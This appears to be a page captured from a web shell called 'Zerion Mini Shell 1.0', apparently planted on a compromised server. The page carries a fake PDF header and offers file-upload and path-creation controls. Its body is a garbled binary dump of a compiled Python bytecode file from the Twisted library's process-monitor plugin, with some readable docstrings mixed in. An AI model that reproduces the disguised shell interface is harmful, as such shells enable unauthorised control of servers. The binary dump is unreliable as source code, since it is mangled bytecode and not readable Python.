%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/runner/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/runner/__pycache__/procmontap.cpython-312.pyc

�

Ϫ�f�	��j�dZddlmZmZddlmZddlmZGd�dej�Zdedefd	�Z	y
)z>
Support for creating a service which runs a process monitor.
�)�List�Sequence)�usage)�ProcessMonitorc��eZdZUdZdZddddegddd	d
egdddd
egddddeggZgZee	e
ed<dZde
ddfd�Z
dd�Zy)�OptionszF
    Define the options accepted by the I{twistd procmon} plugin.
    z[procmon options] commandline�	threshold�t�zRHow long a process has to live before the death is considered instant, in seconds.�killtime�k�zpHow long a process being killed has to get its affairs in order before it gets killed with an unmaskable signal.�minrestartdelay�mzLThe minimum time (in seconds) to wait before attempting to restart a process�maxrestartdelay�MizLThe maximum time (in seconds) to wait before attempting to restart a process�optFlagsa`procmon runs processes, monitors their progress, and restarts them when they
die.

procmon will not attempt to restart a process that appears to die instantly;
with each "instant" death (less than 1 second, by default), it will delay
approximately twice as long before restarting it. A successful run will reset
the counter.

Eg twistd procmon sleep 10�args�returnNc��||d<y)zQ
        Grab the command line that is going to be started and monitored
        rN�)�selfrs  �;/usr/lib/python3/dist-packages/twisted/runner/procmontap.py�	parseArgszOptions.parseArgsIs
����V��c�P�t|d�dkrtjd��y)z)
        Check for dependencies.
        rrz$Please specify a process commandlineN)�lenr�
UsageError)rs r�postOptionszOptions.postOptionsOs,���t�F�|��q� ��"�"�#I�J�J�!r)rN)�__name__�
__module__�__qualname__�__doc__�synopsis�float�
optParametersrrr�str�__annotations__�longdescrrrrrrrs����/�H�
��
�
B��
	
�
��
�
)�
�	
�
��
�
�
�	
�
���
�
�	
�7$�M�L%'�H�d�8�C�=�!�&�	�H��s��t��Krr�configrc��t�}|d|_|d|_|d|_|d|_|jdj
|d�|d�|S)Nr	rrr� r)rr	�killTime�minRestartDelay�maxRestartDelay�
addProcess�join)r*�ss  r�makeServicer3Wsb����A���%�A�K��
�#�A�J��0�1�A���0�1�A���L�L����&��.�)�6�&�>�:��HrN)
r#�typingrr�twisted.pythonr�twisted.runner.procmonrrr3rrr�<module>r7s=��
�"� �1�EK�e�m�m�EK�P	
��	
�N�	
r

Zerion Mini Shell 1.0